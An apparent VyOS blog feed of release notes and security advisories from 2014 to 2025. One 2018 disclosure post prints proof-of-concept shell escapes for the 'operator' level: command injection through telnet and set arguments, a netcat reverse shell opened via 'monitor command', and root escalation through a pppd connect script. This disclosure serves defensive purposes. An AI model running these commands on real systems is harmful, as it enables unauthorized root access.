VyOS - Blog

VyOS Project September 2025 Update

daniil@sentrium.io (Daniil Baturin) — Wed, 15 Oct 2025 15:15:52 GMT

Hello, Community! The holiday season in the Northern hemisphere is over and it's very visible in the commit log. There are lots of things that happened in VyOS in September — that includes a new, more performant kernel mode NetFlow sensor; the equally long-awaited support for using firewall groups in WAN load balancing rules; improvements that will hopefully make config corruption on power loss very unlikely; TLS support for syslog; and many more smaller features and fixes.

VyOS Project August 2025 Update

daniil@sentrium.io (Daniil Baturin) — Tue, 02 Sep 2025 10:15:05 GMT

Hello, Community!

We have some big news for you all in August — the count of changes that VyOS maintainers and community member made this month is small, but their impact makes up for the low number. They include VRF support for DHCP and DHCPv6 servers, steady progress in the legacy configuration backend replacement, multiple bug fixes, and an experimental privilege separation feature that allows limiting users to specific sets of operational commands.

VyOS Stream 1.5-2025-Q2 is available for download

daniil@sentrium.io (Daniil Baturin) — Fri, 11 Jul 2025 18:55:23 GMT

Hello, Community!

VyOS Stream 1.5-2025-Q2 and its corresponding source tarball are now available for download. This is the second VyOS Stream release on the way to the upcoming VyOS 1.5 LTS, and it includes multiple bug fixes and improvements, including the new implementation of WAN load balancing, a general mechanism for allowing conntrack-unfriendly protocols in transparent bridge firewalls, a fix for CVE-2025-30095 (active MitM in console server SSH connections) that was already delivered in VyOS 1.4.2, and more.

VyOS Project March 2025 Update

daniil@sentrium.io (Daniil Baturin) — Thu, 27 Mar 2025 14:10:08 GMT

Hello, Community! It's spring in the northern hemisphere, and here's the March update. A lot of our effort is currently going into the development of the accelerated dataplane based on VPP: We added a prototype of IPsec, and we are actively working on support for NAT. But there are many other updates, including a fix for a vulnerability in service console-server, support for loading firewall groups from a URL, an option to set a custom container registry, and more. Read on for details!

VyOS 1.4.1 release

daniil@sentrium.io (Daniil Baturin) — Fri, 20 Dec 2024 16:55:59 GMT

Hello, Community!

VyOS 1.4.1 release is now available to customers and community members with contributor subscriptions. Its source code is available as a tarball upon request to everyone who legitimately received a binary image for us. Fixes for CVE-2023-32728 (Zabbix agent SMART plugin RCE) and CVE-2024-6387 (regreSSHion) that were already available as hotfixes are integrated in the image, and there is a fix for a potential DoS in the HTTP API caused by a vulnerability in the python-multipart library (CVE-2024-53981). This release also includes multiple bug fixes and a few improvements, including support for Base64-encoded IPsec secrets, VXLAN VNI to VLAN range mappings, reject routes, and more — read on for details!

Remote code execution in listening Zabbix agent (CVE-2023-32728)

daniil@sentrium.io (Daniil Baturin) — Thu, 24 Oct 2024 09:17:37 GMT

Hello, Community!

Our community member Fabian Riechsteiner brought to our attention that the version of the Zabbix agent present in VyOS 1.4.0 is susceptible to a remote code execution vulnerability — CVE-2023-32728. We made a hotfix available to subscribers, and the fix will be a part of the upcoming VyOS 1.4.1 release.

CVE-2024-6387 (regreSSHion)

daniil@sentrium.io (Daniil Baturin) — Mon, 01 Jul 2024 10:24:00 GMT

Hello, Community!

Today Qualys's security team has disclosed a remotely exploitable vulnerability in OpenSSH server. It was assigned CVE-2024-6387 number and nicknamed "regreSSHion" because its cause is an accidental removal of code that fixed a much earlier vulnerability back in 2006. It affects OpenSSH versions older than 4.4p1 and versions between 8.5p1 and 9.8p1. VyOS 1.3.8 includes OpenSSH 7.9p1 and thus isn't vulnerable. VyOS 1.4.0 includes 9.2p1 and will need a patch to remain secure.

VyOS 1.3.7 release

daniil@sentrium.io (Daniil Baturin) — Mon, 13 May 2024 17:18:36 GMT

Hello, Community!

VyOS 1.3.7/Equuleus maintenance release is available now. It fixes the buffer overflow vulnerability recently discovered in GNU libc (CVE-2024-2961). It also adds a few useful options, such as startup resync in conntrack-sync and multiple peers for unicast VRRP; improves PPPoE server syntax to allow PADO delay of zero and client pools with arbitrary subnet masks; and fixes a bunch of bugs, including a bug that prevented BGP RPKI from loading correctly. Read on for details!

xz backdoor, netfilter vulnerability, and a rolling release signing key leak

daniil@sentrium.io (Daniil Baturin) — Tue, 02 Apr 2024 17:35:01 GMT

Hello, Community!

There were quite a few security incidents lately that caught everyone's attention.

Thankfully, none had any real impact on VyOS security, but let's go through them and discuss them in more detail.

VyOS 1.3.6 maintenance release

daniil@sentrium.io (Daniil Baturin) — Wed, 14 Feb 2024 07:06:16 GMT

Hello, community!
VyOS 1.3.6 LTS release is here — with many bug fixes and security updates. The most important are fixes for denial of service vulnerabilities in the HTTPS API server and web proxy and more

VyOS Project February 2024 Update

e.altunbas@vyos.io (Erkin Batu Altunbas) — Thu, 08 Feb 2024 07:21:23 GMT

Hello, community!
Curious what we've been up to in January? Our main focus is the final stabilization of the 1.4.0/Sagitta branch, and we will soon make the first EPA (Early Production Access) release — after that point, config syntax and behavior will not change in the 1.4 LTS release lifetime, and all radical changes will go to the upcoming 1.5/Circinus branch. Quite a lot of things are happening in the development branch, and many of those improvements are also backported to 1.4, including support for Let's Encrypt (or any other ACME provider) in PKI, multiple BGP improvements, and an option to disable Spectre/Meltdown mitigations from the CLI.

VyOS 1.3.5 security release

daniil@sentrium.io (Daniil Baturin) — Fri, 15 Dec 2023 19:37:19 GMT

Hello, Сommunity!

VyOS 1.3.5/Equuleus LTS release is now officially available for download for customers and contributors. It includes fixes for two security vulnerabilities and a few bugs. One vulnerability is related to the HTTPS API, and the other is in the BGP daemon. Even though they require specific configurations and conditions to exploit, we encourage everyone to update. Images for on-premises deployment and for upgrade are already available, and cloud marketplace listing updates are in progress.

What's coming for OpenVPN in VyOS 1.4?

daniil@sentrium.io (Daniil Baturin) — Tue, 26 Sep 2023 13:00:00 GMT

Hello, Community!

OpenVPN is one of the oldest open-source VPN protocols and implementations. It took the world by storm in the early 2000s because it was a huge improvement over VPN solutions of the time: PPTP that used a patent-encumbered cipher with questionable security; IPsec or L2TP/IPsec, which was hard to set up and very unfriendly to NATed and poorly configured networks; and a variety of proprietary SSL VPNs. OpenVPN was trivial to set up on the client — give it a single config file, and you are done, and it was open-source and available for all popular OSes.

Zenbleed and OpenSSH agent vulnerabilities and their impact on VyOS

daniil@sentrium.io (Daniil Baturin) — Thu, 27 Jul 2023 10:16:51 GMT

Hello, Community!

Recently, two severe vulnerabilities were discovered by security researchers. One of them is nicknamed Zenbleed (CVE-2023-20593) and affects a number of AMD CPUs, the other one (CVE-2023-38408) affects OpenSSH. Both are potentially very serious but, luckily, don't affect most VyOS users. We will include fixes for them in our next releases, of course, and we can provide hotfix packages to people who need them now.

Recent OpenSSL vulnerabilities do not affect any VyOS versions

daniil@sentrium.io (Daniil Baturin) — Thu, 03 Nov 2022 13:50:29 GMT

Many people are concerned about recently announced OpenSSL vulnerabilities (CVE-2022-3786 and CVE-2022-3602). However, none of the VyOS versions ever released are vulnerable. Those vulnerabilities affect only OpenSSL version 3.0.x, while VyOS uses 1.1.1n in the 1.3.x LTS line and in the nightly builds of the upcoming 1.4 release, and that version is not vulnerable.

The future of VyOS image signature verification

daniil@sentrium.io (Daniil Baturin) — Tue, 13 Sep 2022 15:50:31 GMT

There's one thing about our releases that we introduced quietly and neglected to explain to those unfamiliar with it: minisign signatures. Let's discuss why we started using them in addition to GPG signatures and what we are going to do next. Read on for details!

VyOS 1.3.1-S1 security release

daniil@sentrium.io (Daniil Baturin) — Wed, 30 Mar 2022 08:23:06 GMT

Hello Community!

VyOS 1.3.1-S1 security release is now available to customers and contributors to download, and everyone can build it from the source. It fixes a vulnerability in the experimental GraphQL component of our HTTP API server that allowed a remote attacker to bypass authentication and read the complete config. Since the HTTP API is disabled by default and very few people ever enabled it yet, the impact of the vulnerability is (luckily) not very high, and we have no evidence that it was exploited in the wild, but we advise everyone to upgrade nonetheless.

VyOS 1.3.1 release

daniil@sentrium.io (Daniil Baturin) — Mon, 21 Mar 2022 19:48:22 GMT

Hello, Community

VyOS 1.3.1 release is now available:

subscribers (customers and contributors) can download binary images from the support portal, and everyone can build it from the source.

The driving force for this release is CVE-2022-0778, but it features a whole bunch of bug fixes and a few new features in addition to it.

CVE-2022-0778: remote DoS in OpenSSL, VyOS 1.3.0 is affected

daniil@sentrium.io (Daniil Baturin) — Wed, 16 Mar 2022 20:22:41 GMT

Hello Community!

Yesterday the OpenSSL team disclosed a remote DoS vulnerability in OpenSSL versions 1.0.2, 1.1.1, and 3.0. You can find a complete description here in their CVE-202200778 report. In short, any remote attacker can cause an infinite loop in OpenSSL by attempting to establish a TLS connection with a specially crafted malformed certificate, and cause a denial of service.

Log4Shell vulnerability

daniil@sentrium.io (Daniil Baturin) — Tue, 14 Dec 2021 17:43:08 GMT

Hello Community!

Everyone is talking about the CVE-2021-44228 vulnerability recently found in the Log4j logging library, which was nicknamed Log4Shell because it allows an attacker to execute arbitrary code on a remote server if they can send it data that will appear inside log messages.

VyOS 1.2.6-S1 security release

daniil@sentrium.io (Daniil Baturin) — Mon, 28 Sep 2020 19:22:19 GMT

VyOS 1.2.6 release was found to be suspectible to CVE-2020-10995. It's a low-impact vulnerability in the PowerDNS recursor that allows an attacker to cause performance degradation via a specially crafted authoritative DNS server reply.

And we provide fix for in in 1.2.6-s1 release

CVE-2019-11477 (TCP SACK panic) and an Intel i40e driver issue

daniil@sentrium.io (Daniil Baturin) — Tue, 18 Jun 2019 20:18:24 GMT

Recently discovered vulnerability in the Linux kernel's TCP selective acknowledgement processing code potentially allows a remote attacker to cause a kernel panic with a specially crafted packet sequence. You can read the details in the announcement

The "operator" level is proved insecure and will be removed in the next releases

daniil@sentrium.io (Daniil Baturin) — Thu, 01 Nov 2018 19:37:42 GMT

The operator level in VyOS is a legacy feature that was inherited from the forked Vyatta Core code. It was always relatively obscure, and I don't think anyone really trusted its security, and for good reasons: with our current CLI architecture, real privilege separation is impossible.

Security researcher Rich Mirch found multiple ways to escape the restricted shell and execute commands with root permissions for the operator level users. Most of those would take a lot of effort to fix, and it's not clear if some of those can be fixed at all. Since any new implementation of a privilege separation system will be incompatible with the old one, and leaving operator level in the system is best described as "security theater", in the next releases that feature will be removed and operator level users will be converted to admin level users.

We will use the "id" UNIX command for demonstration since it's harmless but is not supposed to be available for operator level users. Here are proofs of concept for all vulnerabilities reported by Rich:

Restricted shell escape using the telnet command

Proof of concept:

user1@vyos> telnet "127.0.0.1;bash"

telnet: can't connect to remote host (127.0.0.1): Connection refused

# we are now in real, unrestricted bash
user1@vyos> id

uid=1001(user1) gid=100(users) groups=100(users),...

This problem could potentially be fixed, but since there's no way to introduce global input sanitation, every command would have to be checked and protected individually.

Restricted shell escape using the "monitor command" command

The "monitor command" command allows operator level users to execute any command. Using it in combination with netcat it's possible to launch an unrestricted bash shell:

user1@vyos> monitor command "$(netcat -e /bin/bash 192.168.x.x 9003)"
Connection from 192.168.x.x:59952

id

uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)

hostname

vyos

Restricted shell escape using the traffic dump filters

user1@vyos> monitor interfaces ethernet eth0 traffic detail unlimited filter "-w /dev/null 2>/dev/null & bash"

Capturing traffic on eth0 ...
id

uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)

Restricted shell escape using backtick evaluation as a set command argument

user1@vyos> set "`/bin/bash`"
user1@vyos> id >/dev/tty

uid=1001(user1) gid=100(users) groups=100(users),4(adm),30(dip),37(operator),102(quaggavty),105(vyattaop)

This one is special because there may not be a way to fix it at all.

Local privilege escalarion using pppd connection scripts

Operator level users are allowed to call pppd for the connect/disconnect commands. Since pppd is executed with root permissions, a malicious operator can execute arbitrary commands as root using a custom PPP connection script.

user1@vyos> echo "id >/dev/tty" > id.sh

user1@vyos> chmod 755 id.sh
Execute the id command as root using the sudo /sbin/pppd command.
user1@vyos> sudo /sbin/pppd connect $PWD/id.sh

uid=0(root) gid=0(root) groups=0(root)

On security of GRE/IPsec scenarios

daniil@sentrium.io (Daniil Baturin) — Fri, 27 Apr 2018 13:33:11 GMT

As we've already discussed, there are many ways to setup GRE (or something else) over IPsec and they all have their advantages and disadvantages. Recently an issue was brought to my attention: which ones are safe against unencrypted GRE traffic being sent?

The reason this issue can appear at all is that GRE and IPsec are related to each other more like routing and NAT: in some setups their configuration has to be carefully coordinated, but in general they can easily be used without each other. Lack of tight coupling between features allows greater flexibility, but it may also create situations when the setup stops working as intended without a clear indication as to why it happened.

Let's review the knowingly safe scenarios:

VTI

This one is least flexible, but also foolproof by design: the VTI interface (which is secretly simply IPIP) is brought up only when an IPsec tunnel associated with it is up, and goes down when the tunnel goes down. No traffic will ever be sent over a VTI interface until IKE succeeds.

Tunnel sourced from a loopback address

If you have missed it, the basic idea of this setup is the following:

set interfaces dummy dum0 address 192.168.1.100/32

set interfaces tunnel tun0 local-ip 192.168.1.100/32
set interfaces tunnel tun0 remote-ip 192.168.1.101/32 # assigned to dum0 on the remote side

set vpn ipsec site-to-site peer 203.0.113.50 tunnel 1 local prefix 192.168.1.100/32
set vpn ipsec site-to-site peer 203.0.113.50 tunnel 1 remote prefix 192.168.1.101/32

Most often it's used when the routers are behind NAT, or one side lacks a static address, which makes selecting traffic for encryptions by protocol alone impossible. However, it also introduces tight coupling between IPsec and GRE: since the remote end of the GRE tunnel can only be reached via an IPsec tunnel, no communication between the routers over GRE is possible unless the IPsec tunnel is up. If you fear that any packets may be sent via the default route, you can nullroute the IPsec tunnel network to be sure.

The complicated case

Now let's examine the simplest kind of setup:

set interfaces tunnel tun0 local-ip 192.0.2.100 # WAN address
set interfaces tunnel tun0 remote-ip 203.0.113.200

set vpn ipsec site-to-site peer 203.0.113.200 tunnel 1 protocol gre

In this case IPsec is setup to encrypt the GRE traffic to 203.0.113.200, but the GRE tunnel itself can work without IPsec. In fact, it will work without IPsec, just without encryption, and that is the concern for some people. If the IPsec tunnel goes down due to misconfiguration, it will fall back to the common, unencrypted GRE.

What can you do about it?

As a user, if your requirement is to prevent unencrypted traffic from ever being sent, you should use VTI or use loopback addresses for tunnel endpoints.

For developers this question is more complicated.

What should be done about it?

The opinions are divided. I'll summarize the arguments here.

Arguments for fixing it:

Cisco does it that way (attempts to detect that GRE and IPsec are related — at least in some implementations and at least when it's referenced as IPsec profile in the GRE tunnel)
The current behaviour is against user's intentions

Arguments against fixing it:

Attempts to guess user's intentions are doomed to fail at least some of the time (for example, what if a user intentionally brings an IPsec tunnel down to isolate GRE setup issues?)
The only way to guarantee that unencrypted traffic is never sent is checking for a live SA matching protocol and source before forwarding every packet — that's not good for performance).

Practical considerations:

Since IKE is in the userspace, the kernel can't even know that an SA is supposed to exist until IKE succeeds: automatic detection would be a big change that is unlikely to be accepted in the mainline kernel.
Configuration changes required to avoid the issue are simple

If you have any thoughts on the issue, please share with us!

The meltdown and spectre vulnerabilities

daniil@sentrium.io (Daniil Baturin) — Thu, 04 Jan 2018 22:39:27 GMT

Everyone is talking about the meltdown and the spectre vulnerabilities now. If you are late to the party, read https://meltdownattack.com/

Of course we are aware of it and took time to assess the risks for VyOS. Since both vulnerabilities can only be exploited locally, the risk for a typical VyOS installation is very low: if an untrusted person managed to login to your router, you are already deep in trouble and unathorized access to the OS memory is arguably the least of your concerns since even operator level users can make traffic dumps.

The fix will not be included in 1.1.9. Since the fix is associated with an up to 30% performance penalty, in 1.2.x, we will make it optional is feasible.

Update on the AWS SSH key fetching issue

daniil@sentrium.io (Daniil Baturin) — Sun, 22 Oct 2017 05:48:29 GMT

We have fixed the issue with key fetching and submitted the updated AMI for review. It passed the automated scan, but manual review and deployment to the marketplace will take some time.

The new AMI also includes updates for dnsmasq security vulnerabilities that will be included in 1.1.8. If you want to install those updates on 1.1.7 by hand, you can use these packages: http://dev.packages.vyos.net/tmp/dnsmasq/

1.1.7 maintenance release

daniil@sentrium.io (Daniil Baturin) — Wed, 17 Feb 2016 14:45:01 GMT

1.1.7 maintenance release is available for download: http://packages.vyos.net/iso/release/1.1.7/ (mirrors are syncing up).

CVE-2015-7547

daniil@sentrium.io (Daniil Baturin) — Tue, 16 Feb 2016 22:44:51 GMT

We know you are concerned (or should be concerned) with the vulnerability in glibc’s getaddrinfo() that allows remote code execution via specially crafted DNS response.

DSA-3446-1 (SSH vulnerability)

daniil@sentrium.io (Daniil Baturin) — Tue, 19 Jan 2016 02:54:53 GMT

This is a late update, and I’m definitely sorry for being late, but I promised to write it so I have to!

CVE-2015-5366, 1.1.6 maintenance release, and the new public key

daniil@sentrium.io (Daniil Baturin) — Mon, 17 Aug 2015 15:37:30 GMT

1.1.6 maintenance release is available for download from the primary server (mirrors are still syncing up).

OpenSSL vulnerabilities

daniil@sentrium.io (Daniil Baturin) — Fri, 20 Mar 2015 19:08:37 GMT

Multiple vulnerabilities were discovered and fixed in OpenSSL.

CVE-2015-0235

daniil@sentrium.io (Daniil Baturin) — Wed, 28 Jan 2015 01:00:18 GMT

You’ve probably heard of CVE-2015-0235 already: buffer overflow in glibc gethostbyname() function allows for arbitrary code execution.

NTP vulnerability update

daniil@sentrium.io (Daniil Baturin) — Tue, 23 Dec 2014 09:51:05 GMT

Squeeze-LTS team imported patches for those vulnerabilities, so it’s probably the best to take the path of least resistance and just use those.

CVE-2014-9295: arbitrary code execution in NTPd

daniil@sentrium.io (Daniil Baturin) — Tue, 23 Dec 2014 01:24:55 GMT

A recently discovered vulnerability in NTPd allows remote code execution.

1.1.0 preview image update

daniil@sentrium.io (Daniil Baturin) — Fri, 26 Sep 2014 19:16:13 GMT

Those who are using 1.1.0-beta can install an updated image from the build system that includes updates for the shellshock vulnerability.

1.0.5 security release

daniil@sentrium.io (Daniil Baturin) — Fri, 26 Sep 2014 15:12:21 GMT

1.0.5 release images are available for download from packages.vyos.net, and soon will be available from mirrors when they sync.

bash and apt vulnerabilities

daniil@sentrium.io (Daniil Baturin) — Thu, 25 Sep 2014 10:26:13 GMT

Recently discovered vulnerabilities in bash and APT are low risk for VyOS, since it doesn’t use CGI scripts written in bash and APT is not normally used for upgrades, but we will release an updated 1.0.x image nonetheless and include the fixes in upcoming 1.1.0 release as well.

CVE-2014-4607

daniil@sentrium.io (Daniil Baturin) — Fri, 27 Jun 2014 08:14:27 GMT

There is a vulnerability in LZO implementation discovered recently.

OpenSSL vulnerabilities

daniil@sentrium.io (Daniil Baturin) — Sun, 08 Jun 2014 04:16:57 GMT

As you should already know, several security vulnerabilities in OpenSSL were discovered recently.

GNUTLS-SA-2014-3

daniil@sentrium.io (Daniil Baturin) — Mon, 02 Jun 2014 12:06:00 GMT

A security issue in GnuTLS (GNUTLS-SA-2014-3) can cause client memory corruption if the server sends specially crafted ServerHello.

CVE-2014-0160

daniil@sentrium.io (Daniil Baturin) — Tue, 08 Apr 2014 06:50:04 GMT

VyOS 1.0.x uses OpenSSL 0.9.8o, and thus is not affected by CVE-2014-0160. No action is needed.

GNUTLS-SA-2014-2

daniil@sentrium.io (Daniil Baturin) — Wed, 05 Mar 2014 20:08:15 GMT

In a nutshell: nothing really uses it in VyOS so we think it’s not enough to trigger maintenance release.